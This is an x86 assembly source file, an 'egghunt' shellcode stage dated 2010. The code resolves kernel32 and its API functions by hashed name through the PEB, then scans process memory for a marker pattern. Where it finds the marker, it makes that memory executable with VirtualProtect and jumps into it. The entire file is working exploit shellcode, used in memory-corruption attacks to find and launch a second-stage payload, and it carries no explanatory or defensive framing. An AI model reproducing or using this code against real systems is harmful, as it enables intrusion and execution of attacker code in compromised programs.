; egghunt Stage exec
; (c) 2010, cod@inbox.com

    .586
    .model  flat, stdcall
    option casemap :none        ; case sensitive

PAGE_EXECUTE_READWRITE    equ 40h

.code
    ASSUME  FS:nothing
 
start:
	push	ebp
	mov		ebp, esp
	sub		esp, 40h
	
    db		0e8h
	dd		0ffffffffh
	db		0c8h
bob:
    pop     eax
    sub     eax, $ - 1 - OFFSET start

    mov     ebp, esp
    sub     esp, 40h

	call	get_kernel32
	mov     dword ptr [ebp+8], eax          ; Kernel32
	mov		esi, eax
	
	push	06e824142h
	push	esi
	call	get_procaddr
	mov		dword ptr [ebp-28h], eax
	
	push	07946c61bh
	push	esi
	call	get_procaddr
	mov		dword ptr [ebp-24h], eax
	
	push	0a3c8c8aah
	push	esi
	call	get_procaddr
	mov		dword ptr [ebp-2ch], eax
	
	push	060e0ceefh
	push	esi
	call	get_procaddr
	mov		dword ptr [ebp-30h], eax
	
	jmp		egghuntcore

ExitThread:
	jmp		dword ptr [ebp-30h]
IsBadReadPtr:
	jmp	dword ptr [ebp-28h]
VirtualProtect:
	jmp dword ptr [ebp-24h]
VirtualQuery:
	jmp dword ptr [ebp-2ch]
	
@error:
	;   main core of "EGG-HUNT"
	dd	0cccccccch
egghuntcore:
	xor		ebx, ebx	; ecx contain original address
	
@scanaddr:
	cmp		ebx, 7fff0000h
	JAE 	@error

@scan:
	; ebx is a valid block
	lea		eax, [ebp-20h]
	push	1ch
	push	eax
	push	ebx
	call	VirtualQuery	; get address of information
	cmp		dword ptr [ebp-10h], 1000h	; MEM_COMMIT
	jne		@continue
	bt	dword ptr [ebp-0ch], 8h	; AND
	jb		@continue			; page guard 
	bt	dword ptr [ebp-0ch], 0h	; AND
	jb		@continue			; NO_ACCESS
	mov		edi, dword ptr [ebp-20h]
	mov		ebx, dword ptr [ebp-14h]	; look!
	jmp		@find
	test	eax, eax
	jnz		@found
	; smandruppa
@continue:
	mov		ebx, dword ptr [ebp-20h]	; base address from AllocationBase
	add		ebx, dword ptr [ebp-14h]	; RegionSize
	jmp		@scanaddr					; move on next address

@find:
	cld
	mov		ecx, ebx
	shr		ecx, 2
@next:
	mov		eax, 000000e8h
	repne	scasd
	jnz		@continue
	cmp		dword ptr [edi], 00255800h
	je		@found
	test	ecx, ecx
	jz		@continue
	jmp		@next

@found:
	mov		eax, edi
	push 	eax
	
	lea		eax, [ebp-4h]
	push	eax
	push	PAGE_EXECUTE_READWRITE
	push	2000h
	mov		eax, edi
	and		eax, 0fffff000h
	sub		eax, 1000h
	push	eax
	call	VirtualProtect	; virtual protect!
	pop		eax
	sub		eax, 4
	push	0					; null ptr to getprocaddr
	push	dword ptr [ebp+8]	; kernel32
	; db		0cch
	call	eax
	push	0
	call	ExitThread
	
; looks in module_list L"KERNEL32"
get_kernel32 proc
	xor		ecx, ecx
	mov		esi, fs:[ecx+30h]
	mov		esi, [esi+0ch]
	mov		esi, [esi+1ch]
@loop:	
	mov		ebx, [esi+08h]
	mov		edi, [esi+20h]
	mov		esi, [esi]
	cmp		[edi+18h], cx
	jnz		@loop
	mov		eax, ebx
	retn
get_kernel32 endp

; get proc address
;	ebp+08	-> module
;	ebp+0ch	-> function
get_procaddr proc
	push ebp
	mov	ebp, esp

	push	esi
	push	edi
	push	ecx
	push	ebx
	push	edx
	
	mov     edi, dword ptr [ebp+08h]	; load base address
	mov     eax, dword ptr [edi+3Ch]	; pe ptr
	mov     edx, dword ptr [edi+eax+78h]	; export
	add     edx, edi
	mov     ecx, dword ptr [edx+18h]	; counter EXPORT!
	mov     ebx, dword ptr [edx+20h]	; name EXPORT
	add     ebx, edi

@nextentry:
	jecxz   short @end
	dec     ecx
	mov     esi, [ebx+ecx*4]
	add     esi, dword ptr [ebp+08h]
	xor     edi, edi
	xor     eax, eax
	cld

@ror:
	lodsb
	test    al, al
	jz      short loc_117
	ror     edi, 0Dh
	add     edi, eax
	jmp     short @ror

loc_117:
	cmp     edi, dword ptr [ebp+0ch]	; same dword?
	jnz     short @nextentry
	mov     ebx, dword ptr [edx+24h]
	add     ebx, dword ptr [ebp+08h]
	mov     cx, word ptr [ebx+ecx*2]
	mov     ebx, dword ptr [edx+1Ch]
	add     ebx, dword ptr [ebp+08h]
	mov     eax, dword ptr [ebx+ecx*4]
	add     eax, dword ptr [ebp+08h]

@end:
	pop	edx
	pop ebx
	pop ecx
	pop edi
	pop esi
	mov	esp, ebp
	pop ebp
	ret 8
get_procaddr endp

WinMainCRTStartup PROC
	jmp start
WinMainCRTStartup ENDP
end start
    
	

.